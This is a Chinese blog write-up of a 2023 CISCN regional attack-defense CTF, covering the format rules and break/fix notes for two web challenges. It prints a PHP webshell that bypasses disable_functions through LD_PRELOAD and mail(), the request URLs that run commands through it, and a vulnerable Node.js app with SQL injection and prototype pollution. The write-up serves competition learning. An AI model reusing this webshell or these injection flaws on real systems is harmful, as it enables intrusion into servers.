{"id":1998,"date":"2024-06-15T00:05:03","date_gmt":"2024-06-14T16:05:03","guid":{"rendered":"https:\/\/fushuling.com\/?p=1998"},"modified":"2025-06-04T17:43:12","modified_gmt":"2025-06-04T09:43:12","slug":"ciscn%e8%a5%bf%e5%8d%97%e5%a4%8d%e8%b5%9bawdp-web","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2024\/06\/15\/ciscn%e8%a5%bf%e5%8d%97%e5%a4%8d%e8%b5%9bawdp-web\/","title":{"rendered":"2023CISCN\u897f\u5357\u590d\u8d5bAWDPlus Web(\u9644\u4e0a\u4e86\u5f53\u65f6lotus ak\u6240\u6709pwn\u9898\u7684exp\u548cpatch\u811a\u672c\u9644\u4ef6\u7684\u94fe\u63a5)"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u53ef\u60dc\uff0c\u8fd9\u4e00\u6b21\u8fd8\u662f\u6ca1\u80fd\u8d62\u4e0b\u6240\u6709\ud83d\ude14\ud83d\ude14\ud83d\ude14\uff0c\u53ea\u6253\u4e86\u4e8c\u5341\u591a\u540d\uff0c\u8fde\u4e8c\u7b49\u5956\u90fd\u6ca1\u6709\uff0c\u4e0d\u77e5\u9053\u6211\u8fd8\u6709\u6ca1\u6709\u4e0b\u4e00\u5c4a\u56fd\u8d5b\u4e86\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u8d5b\u5236<\/h1>\n\n\n\n<p>\u8bf4\u5b9e\u8bdd\u8fd9\u4e2a\u8d5b\u5236\u8fd8\u662f\u6bd4\u4e4b\u524d\u60f3\u8c61\u7684\u597d\u4e00\u70b9\u7684\uff0c\u867d\u7136\u662f\u7ebf\u4e0b\u65ad\u7f51\u7684\uff0c\u4f46\u6bcf\u4e2a\u9898\u90fd\u4f1a\u7ed9\u4f60\u6e90\u7801\uff0c\u76f8\u5f53\u4e8e\u767d\u76d2\u3002\u9996\u5148\uff0c\u4e3b\u529e\u65b9\u4f1a\u7ed9\u4f60\u4e00\u4e2aftp\u8ba9\u4f60\u8fde\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u4f60\u53ef\u4ee5\u4f20\u4e00\u4e2aupdate.tar.gz\uff0c\u91cc\u9762\u5e94\u5f53\u5305\u542b\u4e00\u4e2a\u6587\u4ef6\uff0c\u8fd8\u6709\u4e00\u4e2aupdate.sh\uff0c\u7136\u540e\u8fd9\u4e2aupdate.sh\u91cc\u9762\u5c31\u662f\u4f60\u8981\u6267\u884c\u7684\u547d\u4ee4\uff0c\u8fd9\u91cc\u7684\u4fee\u590d\u4e3b\u8981\u8bb2\u7684\u5c31\u662f\u4f60\u7528\u4fee\u6539\u4e86\u7684\u6587\u4ef6\u66ff\u6362\u539f\u6709\u9898\u76ee\u7684\u6587\u4ef6\uff0c\u7136\u540eupdate.sh\u7684\u5185\u5bb9\u6bd4\u5982\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\n\ncp index.php \/var\/www\/html\/index.php<\/code><\/pre>\n\n\n\n<p>\u8def\u5f84\u5565\u7684\u4e3b\u529e\u65b9\u662f\u4f1a\u7ed9\u4f60\u7684\uff0c\u6253\u5305\u547d\u4ee4\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tar zcvf update.tar.gz update.sh file1 file2<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u4f60\u4e0a\u4f20\u4e0a\u53bb\u540e\uff0c\u4f60\u53ef\u4ee5\u9009\u62e9\u67d0\u4e2a\u9898\u76ee\uff0c\u7136\u540e\u7533\u8bf7\u9632\u5fa1\uff0c\u4ed6\u4f1a\u8ba9\u4f60\u586b\u4f60\u4e0a\u4f20\u90a3\u4e2apatch\u5305\u7684\u540d\u5b57\uff0c\u6bd4\u5982update.tar.gz\uff0c\u7136\u540e\u4e3b\u529e\u65b9\u4f1a\u81ea\u52a8\u89e3\u5305\u7136\u540e\u8fd0\u884c\u4f60\u7684update.sh\uff0c\u7b49\u5f85\u5927\u6982\u4e09\u5341\u79d2\u770b\u4e3b\u529e\u65b9\u7684exp\u662f\u5426\u5229\u7528\u6210\u529f\uff0c\u4f60\u662f\u5426\u6210\u529f\u9632\u5fa1\u3002\u6211\u4e4b\u524d\u62c5\u5fc3\u8fc7\u6709\u4e9b\u670d\u52a1\u6bd4\u5982go\u5440\u3001java\u554a\u3001js\u554a\uff0c\u4e0d\u4f46\u8981\u66ff\u6362\u6587\u4ef6\uff0c\u8fd8\u8981kill\u7136\u540e\u91cd\u542f\u670d\u52a1\uff0c\u8fd9\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\u662f\u81ea\u52a8\u5e2e\u4f60\u91cd\u542f\u7684\uff0c\u6240\u4ee5\u4f60\u8981\u505a\u7684\u5c31\u53ea\u7528\u4fee\u6539\u6587\u4ef6\uff0c\u5199\u4e00\u4e2a\u66ff\u6362\u6587\u4ef6\u7684update.sh\uff0c\u6253\u5305\uff0c\u4e0a\u4f20\u5373\u53ef\uff0c\u8fd9\u4e00\u70b9\u8fd8\u662f\u86ee\u597d\u7684\u3002<\/p>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u5f53\u65f6\u6bcf\u9053\u9898\u76ee\u670915\u6b21\u7533\u8bf7\u9632\u5fa1\u7684\u673a\u4f1a\uff0c10\u6b21\u6062\u590d\u9898\u76ee\u73af\u5883\u7684\u673a\u4f1a\uff0c\u6bcf\u4e00\u8f6e\u662f20\u5206\u949f\uff0c\u65e0\u8bba\u9632\u5b88\u6210\u529f\u8fd8\u662f\u653b\u51fb\u6210\u529f\u6bcf\u4e00\u8f6e\u90fd\u53ef\u4ee5\u52a0\u5206\uff0c\u6bcf\u4e2a\u9898\u6ee1\u5206\u662f500\u5206\uff0c\u5982\u679c\u4e00\u8f6e\u6ca1\u961f\u505a\u51fa\u6765\u4f1a\u9010\u6e10\u52a0\u5206\uff0c\u505a\u51fa\u6765\u7684\u961f\u591a\u4e86\u7684\u8bdd\u4e5f\u662fctf\u90a3\u79cd\u7d2f\u51cf\u6a21\u5f0f\uff0c\u76f8\u5f53\u4e8e\u4e3b\u529e\u65b9\u5e2e\u4f60\u8dd1\u811a\u672c\u7684awd\u4e86\uff0c\u8fd8\u662f\u6bd4awd\u8212\u670d\u4e00\u70b9\u7684\uff0c\u7136\u540e\u653b\u51fb\u7684\u8bdd\u4ed6\u662f\u4f60\u4eec\u56e2\u961f\u9875\u9762\u6709\u4e2a\u63d0\u4ea4flag\u7684\u5730\u65b9\uff0c\u4f60\u67d0\u4e2a\u9898\u6253\u901a\u4e86\u62ff\u5230flag\u63d0\u4ea4\u8fc7\u53bb\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n<p>\u8bf4\u5b9e\u8bdd\uff0c\u6253awdp\u9632\u5b88\u8fd8\u662f\u6bd4\u653b\u51fb\u91cd\u8981\u591a\u4e86\uff0c\u8fd9\u6b21\u6bd4\u8d5b\u597d\u591a\u9898\u90fd\u662f\u96f6\u89e3\uff0c\u6ca1\u961f\u4f0d\u653b\u51fb\u6210\u529f\u9632\u5b88\u6210\u529f\u7684\u961f\u591a\uff0c\u7136\u540e\u5c31\u662f\u8981\u62fc\u624b\u901f\uff0c\u6bd5\u7adf\u624b\u901f\u5feb\u591a\u5f97\u4e00\u8f6e\u5206\uff0c\u800c\u4e14\u9898\u76ee\u89e3\u5c11\u7684\u8bdd\u5206\u9ad8\uff0c\u51e0\u8f6e\u6253\u5b8c\u540e\u9762\u7684\u961f\u5c31\u5f88\u96be\u8ffd\u4e0a\u53bb\u4e86\u3002\u8fd9\u6b21\u5f88\u591a\u9898\u90fd\u662f\u591a\u89e3\u9898\uff0c\u4f60\u8981\u4fee\u590d\u591a\u4e2a\u6f0f\u6d1e\u624d\u80fd\u4fee\u590d\u6210\u529f\uff0c\u8fd9\u4e00\u70b9\u8fd8\u662f\u6bd4\u8f83\u6076\u5fc3\u7684\u3002<\/p>\n\n\n\n<p>\u8fd9\u6b21\u6bd4\u8d5b\u7ed9\u6211\u6700\u5927\u7684\u6559\u8bad\u5c31\u662f\u4e0d\u8981\u6015\u5220\u529f\u80fd\uff0c\u540e\u9762\u542c\u4e86\u51a0\u519b\u961f\u7684\u5206\u4eab\uff0c\u5176\u5b9e\u5927\u4f19\u7684\u4fee\u590d\u601d\u8def\u90fd\u5dee\u4e0d\u591a\uff0c\u5c31\u662f\u5220\u529f\u80fd\u5c31\u884c\u4e86\uff0c\u5565\u529f\u80fd\u5371\u9669\u5c31\u7ed9\u4ed6\u6ce8\u91ca\u4e86\uff0c\u8d8a\u4f4e\u80fd\u8d8a\u597d\uff0c\u5343\u4e07\u4e0d\u8981\u60f3\u96be\u4e86\uff0c\u4f60\u4e5f\u4e0d\u8981\u6015\u4f1a\u4e0d\u4f1a\u670d\u52a1\u5f02\u5e38\uff0c\u670d\u52a1\u5f02\u5e38\u662f\u8981\u4e8c\u5341\u5206\u949f\u7ed3\u675f\u4e00\u8f6e\u5b8c\u4e86\u624d\u4f1a\u6263\u5206\uff0c\u4f60\u5927\u4e0d\u4e86\u91cd\u7f6e\u9776\u673a\u5c31\u884c\u4e86\uff0c\u53cd\u6b63\u7533\u8bf7\u9632\u5fa1\u7684\u6b21\u6570\u548c\u91cd\u7f6e\u9776\u673a\u7684\u6b21\u6570\u672c\u6765\u5c31\u5dee\u4e0d\u591a\uff0c\u6839\u672c\u4e0d\u7528\u62c5\u5fc3\u6263\u5206\uff0c\u4e8c\u5341\u5206\u949f\u600e\u4e48\u90fd\u6765\u5f97\u53ca\u3002\u53ef\u60dc\u4e4b\u524d\u535a\u5ba2\u5199\u7684\u5f88\u591awaf\u90fd\u6ca1\u7528\u4e0a\uff0c\u8fd9\u6b21\u66f4\u591a\u65f6\u5019\u90fd\u662f\u968f\u673a\u5e94\u53d8\uff0c\u627e\u6f0f\u6d1e\u70b9\u7136\u540e\u6ce8\u91ca\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">do_you_like_read<\/h1>\n\n\n\n<p>\u4e00\u4e2a\u4f4e\u80fdphp\u9898\uff0c\u7eaf\u7eaf\u7b7e\u5230\uff0c\u88ab\u6211\u4e00\u4e0b\u79d2\u4e86\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">break(&gt;40\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-15-1024x702.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"702\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-15-1024x702.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1999\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u626b\u5c31\u51fa\u4e86\u4e2a\u540e\u95e8\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n    echo \"&lt;p&gt; &lt;b&gt;example&lt;\/b&gt;: http:\/\/site.com\/bypass_disablefunc.php?cmd=pwd&amp;outpath=\/tmp\/xx&amp;sopath=\/var\/www\/bypass_disablefunc_x64.so &lt;\/p&gt;\";\n\n    $cmd = $_GET&#91;\"cmd\"];\n    $out_path = $_GET&#91;\"outpath\"];\n    $evil_cmdline = $cmd . \" &gt; \" . $out_path . \" 2&gt;&amp;1\";\n    echo \"&lt;p&gt; &lt;b&gt;cmdline&lt;\/b&gt;: \" . $evil_cmdline . \"&lt;\/p&gt;\";\n\n    putenv(\"EVIL_CMDLINE=\" . $evil_cmdline);\n\n    $so_path = $_GET&#91;\"sopath\"];\n    putenv(\"LD_PRELOAD=\" . $so_path);\n\n    mail(\"\", \"\", \"\", \"\");\n\n    echo \"&lt;p&gt; &lt;b&gt;output&lt;\/b&gt;: &lt;br \/&gt;\" . nl2br(file_get_contents($out_path)) . \"&lt;\/p&gt;\"; \n\n    unlink($out_path);\n?&gt;\n<\/code><\/pre>\n\n\n\n<p>\u672c\u6765\u8fd8\u4ee5\u4e3a\u8981\u52ab\u6301LD_PRELOAD\u5565\u7684\uff0c\u5fc3\u91cc\u8fd8\u7a83\u559c\u4e4b\u524d\u505a\u4e86\u597d\u591a\u52ab\u6301\u9898\uff0c\u7ed3\u679c\u7b2c\u4e00\u8f6e\u5b8c\u4e86\u53d1\u73b0\u81ea\u5df1\u5f53\u65f6\u6253ctfshow\u90a3\u4e2a\u7b14\u8bb0\u6ca1\u4fdd\u5b58\u5230\u672c\u5730\uff0c\u4f46\u7b2c\u4e00\u8f6e\u5b8c\u4e86\u6211\u53d1\u73b0\u90a3\u4e2a\u4e0b\u8f7d\u7684\u6e90\u7801\u91cc\u672c\u6765\u5c31\u6709so\u6587\u4ef6\uff0c\u6240\u4ee5\u4f60\u5c31\u6309\u7167\u90a3\u4e2a\u7ed9\u7684\u793a\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;site.com\/bypass_disablefunc.php?cmd=pwd&amp;outpath=\/tmp\/xx&amp;sopath=\/var\/www\/bypass_disablefunc_x64.so<\/code><\/pre>\n\n\n\n<p>\u5c31\u53ef\u4ee5\u76f4\u63a5\u6267\u884c\u547d\u4ee4\u4e86\uff0c\u7136\u540els \/\u4e00\u4e0b\u53d1\u73b0\u6839\u76ee\u5f55\u6709\u4e00\u4e2aflag\uff0c\u4f46\u6ca1\u6743\u9650\u8bfb\uff0c\u7136\u540e\u770b\u5230\u6709\u4e2areadflag\uff0c\u8fd0\u884c\u8fd9\u4e2a\u5c31\u62ff\u5230flag\u4e86\u3002<\/p>\n\n\n\n<p>nss\u4e0a\u6709\u590d\u73b0\u73af\u5883\uff0c\u4e0d\u8fc7\u4ed6\u90a3\u4e2a\u8def\u5f84\u5728\/app\/\u4e0b\uff0c\u7136\u540eflag\u5728env\u91cc\uff0c\u6ce8\u610f\u4e00\u4e0b\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;node4.anna.nssctf.cn:28716\/bootstrap\/test\/bypass_disablefunc.php?cmd=env&amp;outpath=\/tmp\/xx&amp;sopath=\/app\/bootstrap\/test\/bypass_disablefunc_x64.so<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-5-1024x315.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"315\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/07\/1-5-1024x315.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2055\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">fix(&gt;40\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<p>\u4e0a\u9762\u90a3\u4e2a\u6f0f\u6d1e\u70b9\u5f53\u7136\u662f\u6700\u660e\u663e\u7684\uff0c\u6ce8\u91ca\u4e86\u5c31\u884c\u4e86\uff0c\u7136\u540e\u8fd9\u4e2a\u9898\u8fd8\u6709\u5176\u4ed6\u6f0f\u6d1e\u70b9\uff0c\u9996\u5148\u662f\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-16-1024x586.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-16-1024x586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2000\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u662f\u4e2a\u9ed1\u540d\u5355\uff0c\u53ea\u5bf9php\uff0cphtml\uff0cphp5\uff0cphp3\u540e\u7f00\u7684\u6587\u4ef6\u505a\u4e86\u66ff\u6362\uff0c\u628a\u540e\u7f00\u6362\u6210\u4e86jpg\uff0c\u7136\u540e\u5c31\u4e0d\u7ba1\u5176\u4ed6\u6587\u4ef6\u4e86\uff0c\u600e\u4e48\u770b\u90fd\u6709\u95ee\u9898\uff0c\u628a\u8fd9\u91cc\u6539\u6210\u767d\u540d\u5355\u5c31\u884c\u4e86\u3002\u7136\u540e\u8fd8\u6709\u4e2a\u5730\u65b9\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"998\" height=\"659\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2001\"  sizes=\"auto, (max-width: 998px) 100vw, 998px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91ccship\u662f\u53ef\u63a7\u7684\uff0c\u53ef\u80fd\u6709\u53d8\u91cf\u8986\u76d6\u7684\u6f0f\u6d1e\uff0c\u4f46\u6211\u5f53\u65f6\u4e5f\u6ca1\u60f3\u5230\u5230\u5e95\u548b\u5229\u7528\uff0c\u4f46\u6ce8\u91ca\u4e86\u4e4b\u540e\u7533\u8bf7\u9632\u5fa1\u5c31\u8fc7\u4e86\uff0c\u4e4b\u524d\u53ea\u6539\u90a3\u4e2a\u540e\u95e8\u548c\u6587\u4ef6\u4e0a\u4f20\u6ca1\u9632\u5fa1\u6210\u529f\uff0c\u6240\u4ee5\u53ef\u80fd\u8fd9\u91cc\u786e\u5b9e\u6709\u70b9\u4ec0\u4e48\u6f0f\u6d1e\u5565\u7684\uff0c\u540e\u9762\u4e5f\u6ca1\u7ec6\u770b\u4e86\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">pollute<\/h1>\n\n\n\n<p>\u4e00\u4e2a\u539f\u578b\u94fe\u6c61\u67d3\u7684\u9898\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">break(0\u89e3)<\/h2>\n\n\n\n<p>\u867d\u7136\u4e00\u773c\u539f\u578b\u94fe\u6c61\u67d3\uff0c\u4f46\u771f\u6ca1\u627e\u5230\u5565\u6f0f\u6d1e\u70b9rce<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#app.js\nvar createError = require('http-errors');\nvar express = require('express');\nvar path = require('path');\nvar session = require('express-session');\nvar randomize = require('randomatic');\nvar logger = require('morgan');\nvar sqlite3 = require(\"sqlite3\")\nvar utils = require('.\/utils');\n\nvar app = express();\n\n\/\/ view engine setup\napp.set('views', path.join(__dirname, 'views'));\napp.set('view engine', 'twig');\n\napp.use(logger('dev'));\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\napp.use(express.static(path.join(__dirname, 'public')));\n\n\/\/ init database\nconst db = new sqlite3.Database('database.db', (error) =&gt; {\n  if (error) {\n    console.error('Database connection failed:', error);\n  } else {\n    console.log('Connected to the SQLite database.');\n  }\n});\n\n\/\/ start session\napp.use(session({\n  name: 'thejs.session',\n  secret: randomize('GAME', 16),\n  resave: true,\n  saveUninitialized: true\n}))\n\napp.get('\/', utils.checkSignIn, function(req, res, next) {\n  return res.redirect('\/home');\n});\n\napp.all('\/login',function(req,res,next){\n  if(req.method == \"GET\"){\n    return res.render('login', { title: 'Login' });\n  }\n  if(req.method == \"POST\"){\n    var username = req.body.username;\n    var password = req.body.password;\n    password = utils.md5(password)\n    db.all(\"SELECT * FROM users WHERE username=? AND password=?\",&#91;username,password],function(err,result){\n      if(err){\n        console.error(err);\n        return res.send(\"&lt;script&gt;alert('Error!');window.location.href='\/register'&lt;\/script&gt;\");\n      }else{\n        if(result.length === 0){\n          return res.end(\"&lt;script&gt;alert('username or password wrong!');window.location.href='\/'&lt;\/script&gt;\");\n        }\n        result = result&#91;0]\n        if(result.username == username &amp;&amp; result.password == password){\n          req.session.username = result.username;\n          return res.end(\"&lt;script&gt;alert('Login success!');window.location.href='\/'&lt;\/script&gt;\");\n        }\n      }\n    })\n  }\n})\n\napp.all('\/register', function(req, res, next) {\n  if(req.method == 'GET') {\n    return res.render('register', { title: 'register' });\n  }\n\n  if(req.method == \"POST\") {\n    var username = req.body.username;\n    var password = req.body.password;\n\n    if (username !== undefined &amp;&amp; password !== undefined) {\n      db.get(\"SELECT * FROM users WHERE username=?\", &#91;username], function(err, row) {\n        if(err){\n          console.error(err)\n          return res.send(\"&lt;script&gt;alert('Error!');window.location.href='\/register'&lt;\/script&gt;\");\n        }else{\n          if (row &amp;&amp; row.username !== undefined){\n            return res.send(\"&lt;script&gt;alert('User already exists.');window.location.href='\/register'&lt;\/script&gt;\");\n          }else{\n            let query = `INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')`;\n            db.run(query,function(err){\n              if(err){\n                console.error(err)\n                return res.send(\"&lt;script&gt;alert('Error!');window.location.href='\/register'&lt;\/script&gt;\");\n              }else{\n                return res.send(\"&lt;script&gt;alert('Register successed');window.location.href='\/login'&lt;\/script&gt;\");\n              }\n            })\n          }\n        }\n      });\n    }\n  }\n});\n\napp.all(\"\/home\",utils.checkSignIn,function(req,res,next){\n    return res.render('home',{'username':req.session.username})\n})\n\napp.all(\"\/admin\",utils.checkIsAdmin,function(req,res,next){\n  if(req.method == \"GET\"){\n    return res.render('home',{'username':req.session.username})\n  }\n  if(req.method == \"POST\"){\n    var Info ={\n      \"username\":\"admin\",\n      \"message\":\"Try2HackMe!\"\n    }\n    try{\n      utils.extend(Info, req.body);\n      return res.render('admin', {\"username\": Info.username, \"message\": Info.message});\n    }catch(err){\n      return res.send(\"&lt;script&gt;alert('Error!');window.location.href='\/admin'&lt;\/script&gt;\");\n    }\n  }\n})\n\n\/\/ catch 404 and forward to error handler\napp.use(function(req, res, next) {\n  next(createError(404));\n});\n\n\/\/ error handler\napp.use(function(err, req, res, next) {\n  \/\/ set locals, only providing error in development\n  res.locals.message = err.message;\n  res.locals.error = req.app.get('env') === 'development' ? err : {};\n\n  \/\/ render the error page\n  res.status(err.status || 500);\n  res.render('error');\n});\n\nvar server = app.listen(80, function () {\n\n  var host = server.address().address\n  var port = server.address().port\n\n  console.log(\"http:\/\/%s:%s\", host, port)\n});\n\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>#utils.js\nvar crypto = require('crypto');\n\nclass Utils {\n\n    static checkSignIn(req, res, next) {\n        if (req.session.username === undefined || req.session.username === null) {\n            return res.redirect('\/login')\n        }\n        next();\n    };\n    static checkIsAdmin(req, res, next){\n        if (req.session.username !== \"admin\"){\n            return res.send(\"&lt;script&gt;alert('You are not Admin!');window.location.href='\/home'&lt;\/script&gt;\");\n        }\n        next();\n    }\n\n    static filter(str){\n        if(\/union|and|&amp;|\\|| |,|regexp|limit|sleep|lpad|rpad|if|ascii|order|substr|\\'|&gt;|&lt;|min|left|like|=|\\^|update\/.test(str)) {\n            return false;\n        }\n    };\n\n    static md5(str) {\n        var md5sum = crypto.createHash('md5');\n        md5sum.update(str);\n        str = md5sum.digest('hex');\n        return str;\n    };\n\n    static extend(target) {\n        for (var i = 1; i &lt; arguments.length; i++) {\n            var source = arguments&#91;i]\n            \n            for (var key in source) {\n                if (key === '__proto__') {\n                    return;\n                }\n                if (hasOwnProperty.call(source, key)) {\n                    if (key in source &amp;&amp; key in target) {\n                        Utils.extend(target&#91;key], source&#91;key])\n                    } else {\n                        target&#91;key] = source&#91;key]\n                    }\n                }\n            }\n        }\n        return target\n    }\n}\n\nmodule.exports = Utils;\n<\/code><\/pre>\n\n\n\n<p>\u540e\u9762\u4e3b\u529e\u65b9\u63d0\u793aregister\u90a3\u91cc\u6709\u6ce8\u5165\uff0c\u4f46\u8fd8\u662f\u6ca1\u961f\u505a\u51fa\u6765<\/p>\n\n\n\n<p>\u8d5b\u540e\u6211\u5076\u50cfFFreestanding\u505a\u51fa\u6765\u4e86\uff0c\u53ef\u4ee5\u770b\u770b\u4ed6\u7684\u6587\u7ae0\uff1a<a href=\"https:\/\/fushuling.com\/web\/pollute-wp.pdf\">pollute-wp<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">fix(&lt;20\u961f\u89e3\u51fa)<\/h2>\n\n\n\n<p>\u8fd9\u4e2a\u4fee\u590d\u601d\u8def\u5c31\u6bd4\u8f83\u4f20\u5947\u4e86\uff0c\u770b\u51a0\u519b\u961f\u5206\u4eab\uff0c\u4ed6\u4eec\u662f\u76f4\u63a5\u628autils.js\u90a3\u91cc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for (var key in source) {\n                if (key === '__proto__') {\n                    return;\n                }\n                if (hasOwnProperty.call(source, key)) {\n                    if (key in source &amp;&amp; key in target) {\n                        Utils.extend(target&#91;key], source&#91;key])\n                    } else {\n                        target&#91;key] = source&#91;key]\n                    }\n                }<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u628a\u8fd9\u91cc\u5220\u4e86\u3002\u6211\u4eec\u4e0b\u8f7d\u6e90\u7801\u7684\u65f6\u5019\u662f\u6709\u6570\u636e\u5e93\u7684\uff0c\u91cc\u9762\u6709\u5bc6\u7801\u7684md5\u540e\u7684\u5bc6\u6587\u7684\uff0c\u7206\u4e86\u4e00\u4e0b\u53d1\u73b0\u662f123456\uff0c\u6211\u5f53\u65f6\u60f3\u5230\u4f30\u8ba1\u600e\u4e48\u90fd\u8981\u767b\u5f55admin\u4e4b\u540e\u624d\u80fd\u539f\u578b\u94fe\u6c61\u67d3\uff0c\u7136\u540e\u76f4\u63a5\u5199\u4e86\u4e00\u4e2a\u68c0\u6d4b\uff0c\u5982\u679c\u53d1\u73b0\u4f20\u5165\u7684password\u91cc\u6709123456\u5c31\u7ec8\u6b62\u670d\u52a1\uff0c\u7136\u540e\u5c31\u9632\u5fa1\u6210\u529f\u4e86\ud83e\udd23\ud83e\udd23\ud83e\udd23\ud83e\udd23\u5f53\u65f6\u5e94\u8be5\u662f\u524d\u4e94\u4e2a\u4fee\u590d\u6210\u529f\u7684\u961f\u4e4b\u4e00\uff0c450\u5206\u5403\u4e86\u51e0\u8f6e\uff0c\u76f4\u5230\u6700\u540e\u8fd9\u4e2a\u9898\u4e5f\u6709350\u5206\uff0c\u4f30\u8ba1\u5176\u4ed6\u961f\u5f88\u96be\u60f3\u5230\u8fd9\u79cd\u4f4e\u80fd\u7684\u4fee\u590d\u601d\u8def\u3002<\/p>\n\n\n